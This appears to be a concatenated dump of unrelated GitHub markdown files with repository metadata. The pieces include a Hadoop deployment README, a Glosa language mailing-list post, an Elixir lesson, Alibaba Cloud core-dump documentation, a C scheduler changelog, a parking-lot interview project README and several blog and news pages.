AutomatedHadoopDeployment
=========================

A basic MapReduce-Job getting up and running straight from your client's maven build

For the maven project to work you want to merge the information provided in
AutomatedHadoopDeployment/src/main/resources/settings.xml into your currently
active maven settings.xml -- by default this is ~/.m2/settings.xml.

Please note that this works in maven 3.0.5 but may encounter problems injecting
the ssh plugin on site phase.

repository: danielschulz/AutomatedHadoopDeployment

repo_name: danielschulz/AutomatedHadoopDeployment


text:
---
authorName: himalayanpussycat
canDelete: false
contentTrasformed: false
from: '"himalayanpussycat" <maryannehanna@...>'
headers.inReplyToHeader: .nan
headers.messageIdInHeader: PGY3cGdjcitmaG85QGVHcm91cHMuY29tPg==
headers.referencesHeader: .nan
layout: email
msgId: 957
msgSnippet: Glosa uses a kind of liaison (apparently inherited from a, an); when the
  words like a, u or ko are followed by a vowel or h (consonant; this is a legacy
  of
nextInTime: 958
nextInTopic: 958
numMessagesInTopic: 8
postDate: '1184908507'
prevInTime: 956
prevInTopic: 0
profile: himalayanpussycat
replyTo: LIST
senderId: tbYt2gEtNvWYsCGioOp9xo4pi6rmyepfw_oKSlV1qQyHGeEN1bBNXYRmkV326sPLKbuDn7FeVjnHsxek3BXV_4d2nYsdD2131WsslKgqDC0HLhthX5Q
spamInfo.isSpam: false
spamInfo.reason: '6'
systemMessage: false
title: Liaison
topicId: 957
userId: 313863209
---

Glosa uses a kind of liaison (apparently inherited from a, an); when
the w=
ords like a, u or ko are followed by a vowel or h (consonant;
this is a le=
gacy of silent h; it's about time we grouped it not with
vowels but with c=
onsonants, no?) d or n are added to create a
liaison, making ad, un, or ko=
n (I consider this too as a kind of
inflection):
- u --> U plus(o) bibli.=
 (Another [additional] book)
- un --> Un hetero bibli. (Another [different=
] book)
- a --> An pa trena a Paris. (He 'trained' [went by train] to Pari=
s)
- ad --> Mi pa veni ad Italia pre bi anua. (I came to Italy two
years =
ago)
- ko --> dice Glosa ko mi. (speak Glosa with me.)
- kon --> Na pa un=
io kon an a tri horo. (We met him [by appointment]
at three.)
However, th=
is rule is not consistently applied:
- u(n) --> France es u Euro-landa. (F=
rance is a Euro-country)
- u(n) --> verifi u horo-tabula (check the time t=
able)
- u(n) --> dupe un publika kampania (run an advertising campaign)
-=
 ko(n) --> Ko u-ci grama mi mite u posta karta de mi urba; (With
this mail=
 I send a postcard of my town;)
And why isn't the same rule applied to oth=
er similar words; e, ab,
pa, in, etc.?

This rule may seem "natural" or =
"nicer" to anglophones but for
people of many other languages it strikes y=
ou as odd. Perhaps with
multiply defined vowels like English it may be rat=
her difficult to
separate the two consecutive vowels without a little "bou=
ndary"
sound (liaison). However, with distinctly defined vowels for Glosa =

and other languages this is not much of a problem. It is possible
that a =
little problem may arise when the two vowels are the same
(this would not =
be a problem for languages that clearly define short
and long vowels); but=
 there are ways around the problem:
- pronounce the two vowels separately =
as recommended in Niuspi (in
Glosa too)
- change the tone (down-up-down) =

- pronounce a tiny separator vowel: e.g. a+a --> a+(tiny u)+a
- combinati=
on of these, etc.
So, you know what I'm going to say :-) I recommend you w=
ould remove
this rule (to make the language simpler). You may still use
(=
exception) it in poetry, play, slang, etc.

There are a few other (smalle=
r) issues I like to raise but I think
I've already upset a few people (I'm=
 sorry).  [I mean well=
...]) So I will shut up,
for now. Thank you.

NB: All examples come from=
 "18 Steps to Fluency"

repository: fiasinstitute/glosa

gha_language: HTML

repo_name: fiasinstitute/glosa


text:
# Introduction

## Nil

[Nil][nil-dictionary] is an English word meaning "nothing" or "zero". In Elixir, `nil` is a special value that means an _absence_ of a value.

```elixir
# I do not have a favorite color
favorite_color = nil
```

In other programming languages, `null` or `none` values might play a similar role.

## If

Besides `cond`, Elixir also provides the macro [`if/2`][getting-started-if-unless] which is useful when you need to check for only one condition.

[`if/2`][kernel-if] accepts a condition and two options. It returns the first option if the condition is _truthy_, and the second option if the condition is _falsy_.

```elixir
age = 15

if age >= 16 do
  "You are allowed to drink beer in Germany."
else
  "No beer for you!"
end

# => "No beer for you!"
```

It is also possible to write an `if` expression on a single line. Note the comma after the condition.

```elixir
if age > 16, do: "beer", else: "no beer"
```

This syntax is helpful for very short expressions, but should be avoided if the expression won't fit on a single line.

### _Truthy_ and _falsy_

In Elixir, all datatypes evaluate to a _truthy_ or _falsy_ value when they are encountered in a boolean context (like an `if` expression). All data is considered _truthy_ **except** for `false` and `nil`. In particular, empty strings, the integer `0`, and empty lists are all considered _truthy_ in Elixir.

[nil-dictionary]: https://www.merriam-webster.com/dictionary/nil
[getting-started-if-unless]: https://elixir-lang.org/getting-started/case-cond-and-if.html#if-and-unless
[kernel-if]: https://hexdocs.pm/elixir/Kernel.html#if/2

repository: exercism/elixir

gha_language: Elixir

repo_name: exercism/elixir


text:
# Cyprus ‘golden passports’ to be revoked if wrongdoing foun

Published at: **2019-11-04T00:00:00+00:00**

Author: ****

Original: [The Washington Times](https://www.washingtontimes.com/news/2019/nov/4/cyprus-golden-passports-to-be-revoked-if-wrongdoin/)

NICOSIA, Cyprus (AP) - Cyprus’ president is pledging to revoke any passports that were “mistakenly” granted to wealthy investors who were found to have committed wrongdoing.
President Nicos Anastasiades says “errors” may have been made in granting such “golden passports” under an earlier, less-strict version of a lucrative investment program.
He said Monday there could be “perhaps 10-15” such instances of investors whom vetting had vailed to identify as ineligible.
Cypriot government spokesman Prodromos Prodromou said nearly 4,000 passports have been issued to investors since the program began following a 2013 financial crisis.
Anastasiades said passport revocations will happen once an ongoing investigation confirms that specific investors had breached eligibility rules.
Anastasiades‘ pledge came following media reports suggesting that some investors may have been implicated in money-laundering or linked to authoritarian governments.

          Manage Newsletters

Copyright © 2019 The Washington Times, LLC.

license: Unlicense

repository: dsadlollioygjmzvcxv/tdc-exported

repo_name: dsadlollioygjmzvcxv/tdc-exported


text:
# maul ![License: MIT][mit-badge] [![GoDoc][godoc-badge]][godoc] [![Go Report Card][go-report-badge]][go-report]

[mit-badge]: https://img.shields.io/badge/License-MIT-blue.svg
[godoc]: https://godoc.org/github.com/ymt2/maul
[godoc-badge]: https://godoc.org/github.com/ymt2/maul?status.svg
[go-report]: https://goreportcard.com/report/github.com/ymt2/maul
[go-report-badge]: https://goreportcard.com/badge/github.com/ymt2/maul

maul is a multiplexer to call [GitHub REST API v3: Create a milestone](https://developer.github.com/v3/issues/milestones/#create-a-milestone).


text:
# Core dump

The core dump feature allows the operating system to store the current memory status of a program to a file when the program terminates abnormally.

## Background information

The Linux operating system generates a core dump file to store the memory status when a process terminates abnormally because of the default action of certain signals.

The signals whose Action is Core in the following figure can cause the Linux operating system to generate core dump files.

![](https://static-aliyun-doc.oss-accelerate.aliyuncs.com/assets/img/en-US/9505284161/p245406.png)

## Use the core dump feature in ECI

Before Elastic Container Instance \(ECI\) allows you to specify the naming rule and storage location of core dump files, you cannot customize such information because virtual machines \(VMs\) used by ECI are managed by Alibaba Cloud.

The core dump files are generated based on the default naming rule and stored in the default location.

```
/ # cd /pod/
/pod # ls
data
/pod # ping www.aliyun.com
PING www.aliyun.com (<IP_ADDRESS>): 56 data bytes
64 bytes from <IP_ADDRESS>: seq=0 ttl=47 time=25.496 ms
64 bytes from <IP_ADDRESS>: seq=1 ttl=47 time=25.510 ms
64 bytes from <IP_ADDRESS>: seq=2 ttl=47 time=25.640 ms
64 bytes from <IP_ADDRESS>: seq=3 ttl=47 time=25.507 ms
^\Quit (core dumped)
/pod # ls
core.45  data
/pod #
```

As shown in the preceding command output, the core dump file is named in the core.Process ID format and stored in the working directory of the pod. When an ECI is released, its core dump files are deleted. In this case, you cannot obtain and analyze the generated the core dump files.

ECI allows you to specify the naming rule and storage location of core dump files by setting the CorePattern parameter in an API request. Example: CorePattern = "/xx/xx/core".

```
CorePattern = "/xx/xx/core"
```

Alternatively, you can use an annotation to specify such information in a YAML configuration file of Kubernetes:

```
annotations:
    k8s.aliyun.com/eci-core-pattern: "/xx/xx/core"
```

## Example

If you need to use core dump files of an ECI for offline analysis, you must store the core dump files to an external storage instead of a local directory of an ECI. ECI allows you to store core dump files in a disk or an nfs volume. Object Storage Service \(OSS\) will be supported soon. In this example, core dump files are stored to an nfs volume.

```
'Volume.1.Name': 'default-volume1',
'Volume.1.Type': 'NFSVolume',
'Volume.1.NFSVolume.Path': '/dump/',
'Volume.1.NFSVolume.Server': '143b24822a-gfn3.cn-beijing.nas.aliyuncs.com',

'Container.1.VolumeMount.1.Name': 'default-volume1',
'Container.1.VolumeMount.1.MountPath': '/pod/data/dump/',

'CorePattern':'/pod/data/dump/core-eci',
```

Based on the preceding configuration, the nfs volume is mounted to the /pod/data/dump/ directory of the ECI and the directory for storing core dump files is set to /pod/data/dump/core. In this way, all core dump files generated by the ECI are stored in the /pod/data/dump/ directory and synchronized to the nfs volume. The core dump files are not deleted when the ECI is released. You can still obtain and analyze these core dump files after the ECI is released.

1. Trigger a core dump in a directory of the ECI:

```
/ # ls
bin   dev   etc   home  pod   proc  root  sys   tmp   usr   var
/ # ping www.aliyun.com
PING www.aliyun.com (<IP_ADDRESS>): 56 data bytes
64 bytes from <IP_ADDRESS>: seq=0 ttl=47 time=26.351 ms
64 bytes from <IP_ADDRESS>: seq=1 ttl=47 time=26.395 ms
64 bytes from <IP_ADDRESS>: seq=2 ttl=47 time=26.366 ms
64 bytes from <IP_ADDRESS>: seq=3 ttl=47 time=26.378 ms
64 bytes from <IP_ADDRESS>: seq=4 ttl=47 time=26.357 ms
^\Quit (core dumped)
/ # ls
bin   dev   etc   home  pod   proc  root  sys   tmp   usr   var
/ # cd /pod/data/dump/
/pod/data/dump # ls
core-eci.12
```

Based on the preceding command output, the naming rule and directory of core dump files take effect as expected.

2. Release the ECI, log on to another ECI to which the same nfs volume is mounted, and view the core dump file.

```
/ # cd /pod/data/dump/
/pod/data/dump # ls
core-eci.12
```

The core dump file is not deleted with the released ECI. In this case, you can use the core dump file for offline analysis.

For more information about the core dump feature, see [http://man7.org/linux/man-pages/man5/core.5.html](http://man7.org/linux/man-pages/man5/core.5.html).

url: https://raw.githubusercontent.com/hglakfs/csk/2feaad43acc89e31ae769da934f0976ce85658ef/intl.en-US/User Guide for Serverless Kubernetes Clusters/ECI Pod management/Core dump.md

repository: hglakfs/csk

filename: Core dump.md

repo_name: hglakfs/csk


text:
# MVVM-Design-Pattern

Learn the Art of Building Modern iOS Applications

## Table of Contents

- [1. Course Detail](#1-course-detail)
- [2. What I learned](#2-what-i-learned)
- [3. Certificate](#3-certificate)

---

## 1. Course Detail

Title: [**MVVM Design Pattern Using Swift in iOS**](https://www.udemy.com/course/mastering-mvvm-for-ios/)

Date: Feb 11, 2021 - TBD

---

## 2. What I learned

### Notes

- [**Data Binding**](https://www.notion.so/Data-Binding-8ed34b29edf04182a30bc37a93c3c01f)

### Contents

- MVVM Design Pattern
- Role of View Models
- Data Binding Technique
- Implemeting Generic Classes for General Usage

---

## 3. Certificate

![Udemy Certificate]()

repository: KasRoid/MVVM-Design-Pattern

repo_name: KasRoid/MVVM-Design-Pattern


text:
---
layout: page
title: About me
# subtitle: Why you'd want to go on a date with me
---

Brunsviken - April, 2023

I'm Abdullah. A twenty-something, STEM graduate, currently living in Stockholm, Sweden. Although terrible at playing the guitar, I _am_ good at other things. Software engineering being one of them. In my day job, I build efficient and scalable distributed systems. In this blog I write about anything and everything that interests me. Which mostly revolves around mathematics, software and embedded systems.

If you want to get in touch, you can find my contact info in this page's footer. I also try to keep my resume up to date [here](https://s3.amazonaws.com/abdullahahsan/abdullah_ahsan_resume.pdf).


text:
# Effective-Instructions
Author: David Freeman, Erik Kimbrough, and Garrett Petersen, and Hanh Tong

[![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/hanhtong/Effective-Instructions/HEAD)

This repository contains the data file and part of the statistical analysis for the paper ["Instructions"](https://link.springer.com/article/10.1007/s40881-018-0059-0?error=cookies_not_supported&error=cookies_not_supported&code=8fe07e78-e48f-4541-b975-ebbceaa213b5&code=cde031c5-f019-4626-96fb-600f2162fe77).

This code contains the following analysis:
- Average Non-money maximizing behavior (NMB) and average quiz score, by treatment.
- Fisher's exact test of no association between treatments and NMB.
- Kruskal-Wallis test to compare distribution of quiz score across treatments.
- Goodman and Kruskal's gamma: tests of association between quiz scores and NMB.
- Wilcoxon rank-sum tests: test whether some treatments improved quiz scores.
- Logistic regressions:
  - a model of NMB as a logistic function of treatment.
  - a model of NMB as a logistic-linear function of quiz score, treatment, and their interactions.
- A linear regression to model treatment effects on quiz scores.
- Robust (HC1) 95% confidence intervals.
- Mediation analysis.

repository: lfunderburk/Effective-Instructions

repo_name: lfunderburk/Effective-Instructions


text:
---
layout: post
title: ASP.NET Futures and Silverlight
date: '2007-07-28 09:37:45 -05:00'
---

![image](http://blogs.msdn.com/blogfiles/brada/WindowsLiveWriter/VS2008.NET3.5Silv.NETFuturesandAcropolis_B9B5/image_thumb_1.png)To go along with the release of [Visual Studio 2008]({% post_url /2007/2007-07-28-Visual-Studio-2008-Beta-2---Now-Available %}), ![image](http://blogs.msdn.com/blogfiles/brada/WindowsLiveWriter/VS2008.NET3.5Silv.NETFuturesandAcropolis_B9B5/image_thumb_5.png)Microsoft has also released the Release Candidate (RC) 1 of Silverlight 1.0 and a refresh for Silverlight 1.1. You can get [more information](http://blogs.msdn.com/tims/archive/2007/07/27/silverlight-1-0-rc1-is-here.aspx) about the releases on Tim Sneath's blog.

If you install both Silverlight 1.1 and Visual Studio 2008, be sure to check out the [Microsoft Silverlight Alpha Tools for Visual Studio 2008 Beta](http://go.microsoft.com/fwlink/?LinkID=89149&clcid=0x409), which is an add-on for Visual Studio to provide a Silverlight project system for developing Silverlight applications in C# or Visual Basic.

This includes:

* Visual Basic and C# Project templates
* Intellisense and code generators for XAML
* Debugging of Silverlight applications
* Web reference support
* Integration with Expression Blend

Also be sure to download the latest update to the [ASP.NET Futures (July 2007)](http://go.microsoft.com/fwlink/?LinkID=89147&clcid=0x409) release. This release is compatible with both Visual Studio 2005 and Visual Studio 2008 and contains ASP.NET-based Silverlight controls.


text:
---
title: "Medifast Quest Nutrition High Protein Low Carb Sea Salt Caramel Almond Flavor"
date: 2021-02-14T11:22:16+06:00
images:
  - "images/prod/medifast-Quest Nutrition-Sea Salt Caramel Almond.png"
  - "images/prod/medifast-Quest Nutrition-Sea Salt Caramel Almond1.png"

# meta description
description : "Quest Nutrition High Protein Low Carb, Gluten Free, Keto Friendly, sea Salt Caramel Almond 17.76 Ounce"

# product Price
price: "18.99"
discount_price: "14.38"

# product variation
colors : ["cookies & cream"]
sizes : ["1.52 Ounce (Pack of 12)"]

draft: false
---

[Click Me To Buy From Our Amazon Store](https://amzn.to/2NqW6Tc)

|Item|Flavor|Brand|Size|Weight|Price|Check Amazon|
|----|------|------|------|------|-----|--------|
|High Protein|Sea Salt Caramel Almond|Quest Nutritionm|Pack of 12|1.52 Ounce|$14.38|[Check Amazon Price](https://amzn.to/2NqW6Tc)|

Ingredients: WHEY PROTEIN ISOLATE, ERYTHITOL, UNSWEETENED CHOCOLATE, COCOA BUTTER, PEANUTS, PALM KERNEL OILM SOLUBLE CORN FIBER, SODIUM CASEINATE. CONTAINS LESS THAN 2% OF THE FOLLOWING: SUNFLOWER LECITHIN, SEA SALT, BUTTERFAT, NATURAL FLAVOR, PEANUT OIL, SUCRALOSE. CONTAINS: MILK, PEANUTS. PROCESSED IN A FACILITY THAT ALSO PROCESSES SOY, WHEAT, AND TREE NUTS..

About this item:

Quest Peanut Butter Cups are indulgent treats that satisfy your sweet tooth with less than 1g of sugar and 1g of net carbs per serving. The Quest Peanut Butter Cups are made with complete, dairy-based proteins to provide your body with 9 essential amino acids.


text:
|Branch      | OSX / Linux / Windows |
|------------|-----------------------|
|master      | [![Build Status](https://travis-ci.org/DanEngelbrecht/bikeshed.svg?branch=master)](https://travis-ci.org/DanEngelbrecht/bikeshed?branch=master) |
|master      | [![Codacy Badge](https://api.codacy.com/project/badge/Grade/3f4c844382cc4314ada8d8c7ac27e544)](https://app.codacy.com/app/DanEngelbrecht/bikeshed?utm_source=github.com&utm_medium=referral&utm_content=DanEngelbrecht/bikeshed&utm_campaign=Badge_Grade_Dashboard) |

# bikeshed
Lock free hierarchical work scheduler
Builds with MSVC, Clang and GCC, header only, C99 compliant, MIT license.

See github for latest version: https://github.com/DanEngelbrecht/bikeshed

See design blogs at: https://danengelbrecht.github.io

## Version history

### Version v1.0 29/5 2019

**Release 1.0**

### Fixes
 - Use explicit int32_t for instead of long to ensure 32-bit values on GCC/Clang x64-builds
 - Corrected URL to blog in README.md
 - Added sample code for performance tests (in examples folder)

### Version v0.4 18/5 2019

**Pre-release 4**

### API changes
  - Bikeshed_AddDependencies to take array of parent task task_ids
  - Bikeshed_ReadyCallback now gets called per channel range

### API additions
  - Bikeshed_FreeTasks
  - BIKESHED_L1CACHE_SIZE to control ready head alignement - no padding/alignement added by default
  - BIKESHED_CPU_YIELD to control yielding in high-contention scenarios

### Fixes
  - Added default (non-atomic) implementations for helper for unsupported platforms/compilers
  - Codacy analisys and badge
  - More input validation on public apis when BIKESHED_ASSERTS is enabled
  - Batch allocation of task indexes
  - Batch allocation of dependency indexes
  - Batch free of task indexes
  - Batch free of dependency indexes
  - Fixed broken channel range detection when resolving dependencies

### Version v0.3 1/5 2019

**Pre-release 3**

#### Fixes

- Ready callback is now called when a task is readied via dependency resolve
- Tasks are readied in batch when possible

### Version v0.2 29/4 2019

**Pre-release 2**

#### Fixes

- Internal cleanups
- Fixed warnings and removed clang warning suppressions
  - `-Wno-sign-conversion`
  - `-Wno-unused-macros`
  - `-Wno-c++98-compat`
  - `-Wno-implicit-fallthrough`
- Made it compile cleanly with clang++ on Windows

### Version v0.1 26/4 2019

**Pre-release 1**

## Features
- Generic tasks scheduling with dependecies between tasks
  - Each task has zero or many dependecies (as defined by user)
  - User should Ready any tasks that can execute (has zero dependencies)
  - Automatic ready of tasks that reaches zero dependecies
  - Automatic free of tasks that has completed
- A task can have many parents and many child dependecies
- Task channels - execute tasks based on task channel
- No memory allocations once shed is created
- Minimal dependencies
- Memory allocation and threading are users responsability
- Lifetime of data associated with tasks is users responsability
- Configurable and optional assert (fatal error) behavior
- Configurable platform dependant functions with default implementation provided
- Header only - define `BIKESHED_IMPLEMENTATION` in one compilation unit and include `bikeshed.h`

## Non-features
- Cyclic dependency detection and resolving
  - API is designed to help user avoid cyclic dependecies but does not do any analisys
- Built in threading or syncronization code - API to add it is available
- Unlimited number of active tasks - currently limited to 8 388 607 *active* tasks
- Cancelling of tasks
- Tagging of tasks

## Dependencies
Minimal dependecies with default overridable method for atomic operations.
 - `<stdint.h>`
 - `<string.h>`
 - The default (optional) MSVC implementation depends on `<Windows.h>`.

### Optional default methods
The default implementations for the atomic and CPU yield functions can be overridden with your own implementation by overriding the macros:
 - `BIKESHED_ATOMICADD` Atomically adds a 32-bit signed integer to another 32-bit signed integer and returns the result
 - `BIKESHED_ATOMICCAS` Atomically exchange a 32-bit signed integer with another 32-bit signed integer if the value to be swapped matches the provided compare value, returns the old value.
 - `BIKESHED_CPU_YIELD` Yield CPU (mm_pause() / YieldProcessor()).

## Test code dependecies

Test code has dependencies added as drop-in headers from
 - https://github.com/JCash/jctest for unit test validation

Test code has dependencies added as git sub-modules from
 - https://github.com/DanEngelbrecht/nadir for threading and syncronization

repository: DanEngelbrecht/bikeshed

repo_name: DanEngelbrecht/bikeshed


text:
[JLBP-5] Avoid dependencies that overlap classes with other dependencies
------------------------------------------------------------------------

Definition: When the same fully qualified class name is provided by
  two or more distinct artifacts (different group IDs, different
  artifact IDs, or both) the classes are said to *overlap*.

This can happen in several ways:

* A library has published the same classes in
  artifacts with different group ID or artifact IDs.

* A third party forks a library under their own group ID but does not repackage the classes.

* A third library copies an existing library's packages
into its own jar file without shading the dependency. This case is particularly
insidous since it may not be obvious that there's an unexpected, undocumented
version of the classes hiding inside the seemingly unrelated jar.

Example 1: Guava's main artifact is `guava`, but from versions 13.0 to 17.0,
  another artifact `guava-jdk5` was also published with classes that overlap
  with `guava`. Build systems such as Maven and Gradle can't dedupe `guava-jdk5`
  with `guava` because the artifact names are different, which means that the
  same class names are provided by multiple jars, and runtime errors result from
  classes and methods not being found. The only known Google library propagating
  this dependency is google-api-client <= 1.23.0, and it has removed the
  `guava-jdk5` dependency (and switched to the `guava` artifact) since 1.24.1.

Example 2: There are multiple artifacts that provide classes under
  `javax.servlet` (`javax.servlet:javax.servlet-api:3.1.0` and
  `javax.servlet:servlet-api:2.5` at least), and the correct one to choose
  depends on your runtime.
  - The only type of library that should depend on `servlet-api` is one
    functioning as a utility library for use in web apps. Even in this case, the
    `servlet-api` dependency should use `provided` scope. Other libraries should
    not use `servlet-api` as a dependency at all, for example, to get http
    status code definitions.

This can be extremely difficult to resolve. If at all possible, eliminate all but one of the
overlapping dependencies. Otherwise pay very close attention to which version of
each overlapping class is chosen. Make sure the project does not depend on any
behavior or API of the class that is not selected.

repository: Bhanditz/cloud-opensource-java

gha_language: Java

repo_name: Bhanditz/cloud-opensource-java


text:
---
layout: default
---

# 1998-10-08 - [Fwd: Here come the rafting iguanas]Here come the rafting iguanas

## Header Data

From: David Miller<EMAIL_ADDRESS>David Miller<EMAIL_ADDRESS>To<EMAIL_ADDRESS>Message Hash: 2625e85474b9b351a8448447b0f1ce408ff95f6ecf8091304f052a9ede977eeb

Message ID<EMAIL_ADDRESS>Reply To: _N/A_

UTC Datetime: 1998-10-08 18:19:50 UTC

Raw Date: Fri, 9 Oct 1998 02:19:50 +0800

## Raw message

```
{% raw  %}From: David Miller<EMAIL_ADDRESS>David Miller<EMAIL_ADDRESS>Date: Fri, 9 Oct 1998 02:19:50 +0800
To<EMAIL_ADDRESS>Subject: [Fwd: Here come the rafting iguanas]Here come the rafting iguanas
Message-ID<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: message/rfc822

For some reason, this reminded me of you and your raft/boat experiment...

Could the term "green iguanas" be symbolic of US currency?

Cheers,

--David

http://dailynews.yahoo.com/headlines/od/story.html?s=v/nm/19981008/od/iguanas_1.html

Yahoo! News                                Human Interest Headlines

Thursday October 8 11:02 AM EDT

Here come the rafting iguanas

LONDON (Reuters) - Scientists said Wednesday they have solved the mystery of
how animal species were dispersed throughout the Caribbean.

Researchers had suspected that animals living on the tropical islands had
probably hitched rides on floating debris to travel to other islands. But
skeptics said the theory was improbable, unobservable and could never be proven.

Until now.

In a letter to the scientific journal Nature, researchers from the United States
and the Caribbean island of Anguilla said they have evidence that green iguanas,
originally from the island of Guadeloupe, used a natural raft to invade and
colonize Anguilla, about 175 miles (281.6 km) away.

``This species did not previously occur on the island. They arrived on a mat
of logs and uprooted trees,'' Ellen Censky, of the Carnegie Museum of Natural
History in Pittsburgh, Pennsylvania, said.

Local fisherman witnessed the arrival of the 15 refugee iguanas on the eastern
shore of Anguilla in 1995. Censky and her colleagues suspect a particularly bad
hurricane season in the Caribbean that year sparked the exodus.

``Approximately a month after the first of these hurricanes, iguanas reached the
shores of Anguilla,'' said Censky.

The scientists marked many of the males and females that arrived on the raft.
Several months later they noticed that one of the iguanas was pregnant.

``Our observations confirm that raft dispersal can occur successfully, and
document the over-water dispersal of a group of large vertebrates and their
persistence and possible reproduction after landfall,'' Censky added.

{% endraw %}
```

## Thread

+ Return to [October 1998](/archive/1998/10)

+ Return to "[David Miller<EMAIL_ADDRESS>David Miller <dm0@avana.net>](/authors/david_miller_dm0_at_avana_net_david_miller_dm0_at_avana_net_)"
+ Return to "[Robert Hettinga <rah@shipwright.com>](/authors/robert_hettinga_rah_at_shipwright_com_)"

+ 1998-10-08 (Fri, 9 Oct 1998 02:19:50 +0800) - [Fwd: Here come the rafting iguanas]Here come the rafting iguanas - _David Miller<EMAIL_ADDRESS>David Miller<EMAIL_ADDRESS>  + 1998-10-08 (Fri, 9 Oct 1998 03:28:07 +0800) - [Re: [Fwd: Here come the rafting iguanas]](/archive/1998/10/86b15e13c3f0cd07b89f086601efd2105f83971208a2777ed437a21b0a7f2397) - _Robert Hettinga<EMAIL_ADDRESS>


text:
+++
type = "screencast"
title = "Advanced Routing with Buffalo - Buffalo Series #2"
author = "Aaron Schlesinger"
date = "2018-05-24T12:57:11-07:00"
+++

_Episode 22_

We learned about [Buffalo](https://gobuffalo.io) basics in [Episode 21](https://goin5minutes.com/screencast/episode_21_buffalo_intro/), and today we're going
to keep the fun going! We're gonna talk about taking advantage of more advanced features
in the Buffalo request router to build more powerful websites.

<!--more-->

If you have a Buffalo site, check this screencast out. Path variables and API groups can
totally make your life easier and reduce boilerplate!

{{< screencast_bottom youtube_id="HOSDxHMiHLk" github_episode="epsode22">}}


text:
# Parking Lot Problem
Hei all this problem found as my interview task to solving park ticketing issue with question:
```
I own a parking lot that can hold up to 'n' cars at any given point in time. Each slot is
given a number starting at 1 increasing with increasing distance from the entry point
in steps of one. I want to create an automated ticketing system that allows my
customers to use my parking lot without human intervention.
When a car enters my parking lot, I want to have a ticket issued to the driver. The
ticket issuing process includes us documenting the registration number (number
plate) and the colour of the car and allocating an available parking slot to the car
before actually handing over a ticket to the driver (we assume that our customers are
nice enough to always park in the slots allocated to them). The customer should be
allocated a parking slot which is nearest to the entry. At the exit the customer returns
the ticket with the time the car was parked in the lot, which then marks the slot they
were using as being available. Total parking charge should be calculated as per the
parking time. Charge applicable is $10 for first 2 hours and $10 for every additional
hour.
We interact with the system via a simple set of commands which produce a specific
output. Please take a look at the example below, which includes all the commandsyou need to support - they're self explanatory. The system should accept a filename
as a parameter at the command prompt and read the commands from that file.
```

# Run The application
First you need to use jdk8 and maven to build this application, i assume you have it in your computer. so you can run this command without problem
```
mvn clean package
```
## And the output will be:
```maven

[INFO]
[INFO] --- jacoco-maven-plugin:0.8.3:report (report) @ parking-lot ---
[INFO] Loading execution data file /home/kiditz/workplace/interview-task/parking-lot/target/jacoco.exec
[INFO] Analyzed bundle 'parking-lot' with 3 classes
[INFO]
[INFO] --- maven-jar-plugin:2.4:jar (default-jar) @ parking-lot ---
[INFO] Building jar: /home/kiditz/workplace/interview-task/parking-lot/target/parking-lot.jar
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  4.249 s
[INFO] Finished at: 2020-07-07T16:19:40+07:00
[INFO] ------------------------------------------------------------------------
```
## Coverage test
this application include coverage test that can be found in folder ./target/site/jacoco/index.html after run package command
you can open the index.html in your browser to see the unit test report that i made for this application.
```
cd target/site/jacoco
google-chrome index.html
```
## Run Program
There is become three way to run the application
1. Run without arguments
```
java -jar target/parking-lot.jar
```
Then you can see the following instruction like this
```
Please enter 'exit' to close the program
Waiting for input
Availebla command is [create_parking_lot, park, status, leave]
```
Next, you need to write command by entering the text a.k.a
```
create_parking_lot 5
```
and see the output
```
Created parking lot with 5 slots
```

2. Run with input arguments
```
java -jar target/parking-lot.jar file_input.txt
```
Output will be

```
Created parking lot with 6 slots
Allocated slot number: 1
Allocated slot number: 2
Allocated slot number: 3
Allocated slot number: 4
Allocated slot number: 5
Allocated slot number: 6
Registration number KA-01-HH-3141 with Slot Number 6 is free with Charge 30
Slot No. Registration No.
1		KA-01-HH-1234
2		KA-01-HH-9999
3		KA-01-BB-0001
4		KA-01-HH-7777
5		KA-01-HH-2701
Allocated slot number: 6
Sorry, parking lot is full
Registration number KA-01-HH-1234 with Slot Number 1 is free with Charge 30
Registration number KA-01-BB-0001 with Slot Number 3 is free with Charge 50
Registration number DL-12-AA-9999 not found
Allocated slot number: 1
Allocated slot number: 3
Sorry, parking lot is full
Slot No. Registration No.
1		KA-09-HH-0987
2		KA-01-HH-9999
3		CA-09-IO-1111
4		KA-01-HH-7777
5		KA-01-HH-2701
6		KA-01-P-333
```

3. Run with input and output arguments

```
java -jar target/parking-lot.jar file_input.txt output.txt
```
and you can view the output inside output.txt file

repository: kiditz/parkinglot

repo_name: kiditz/parkinglot


text:
# Email notification when file or folder is deleted

## Event Description
Sends an email notification when a file or a folder is deleted.

In the header of the ps1 file some settings need to be done, that the email can be send.
* **$emailTo**: Mail address or alias to whom the mail should be send.
* **$emailFrom**: Mail address of the sender and display name of sender
* **$emailSmtp**: SMTP SERVER name
* **$emailPort**: Port for SMTP SERVER, default 587
* **$emailUser**: User name for eamil account; in most cases the email address
* **$emailPwd**: Password for eamil account

In the variable ***$body*** the email text is contained.

## Installation
Download all files (Events and Modules) from the current subdirectory of this repository to your powerEvents directory: *C:\ProgramData\coolOrange\powerEvents*

## At your own risk
The usage of these samples is at your own risk. There is no free support related to the samples. However, if you have questions to powerEvents, then visit http://www.coolorange.com/wiki or start a conversation in our support forum at http://support.coolorange.com/support/discussions

![coolOrange](https://i.ibb.co/NmnmjDT/Logo-CO-Full-colore-RGB-short-Payoff.png)

url: https://raw.githubusercontent.com/coolOrangeLabs/powerevents-samples/f7284ebfb7a7965eaf73b006ccbe74b71b0bc992/Email notification when File or Folder is deleted/README.md

repository: coolOrangeLabs/powerevents-samples

repo_name: coolOrangeLabs/powerevents-samples


text:
---
layout: post
published: false
title: mxnet in production
date: '2019-02-27'
subtitle: Try to use mxnet with apache nifi and yarn
---
## Current state

Machine learning in production should have the following architecture.
 [source](https://www.slideshare.net/Hadoop_Summit/deep-learning-on-yarn-running-distributed-tensorflow-etc-on-hadoop-cluster-v3)

![deep-learning-on-yarn-running-distributed-tensorflow-etc-on-hadoop-cluster-v3-11-1024.jpg]({{site.baseurl}}/img/deep-learning-on-yarn-running-distributed-tensorflow-etc-on-hadoop-cluster-v3-11-1024.jpg)

Currently my work is mainly forcus on training data ( the last step)

- Use mxnet to train serveral model
- Use mxboard + tensorboard to create train+val log
- Use mxnet model server to host trained model. The rest API is public

For learning purpose, i tried to implement the above architecture.
